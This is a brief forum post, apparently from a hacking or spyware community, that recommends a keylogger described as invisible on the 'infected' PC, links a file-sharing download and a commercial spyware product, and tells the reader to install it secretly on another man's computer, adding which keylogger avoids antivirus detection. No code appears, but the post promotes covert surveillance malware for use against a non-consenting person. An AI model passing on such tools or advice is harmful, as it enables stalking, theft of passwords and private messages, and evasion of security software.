I found this keylogger,completely invissible in the infected pc,but it does not have the remote feature. So if you can install it in his PC,you'll be alright as long as you do the settings in the correct way.
[url]http://www.box.net/shared/ohqxub5c6e[/url]
You can view the product here:
[url]http://www.spy-ware.com/images2/SpectorPro_Tagline_new.gif[/url]

NOTE: all keylogger will activate your antivirus,unless is spytector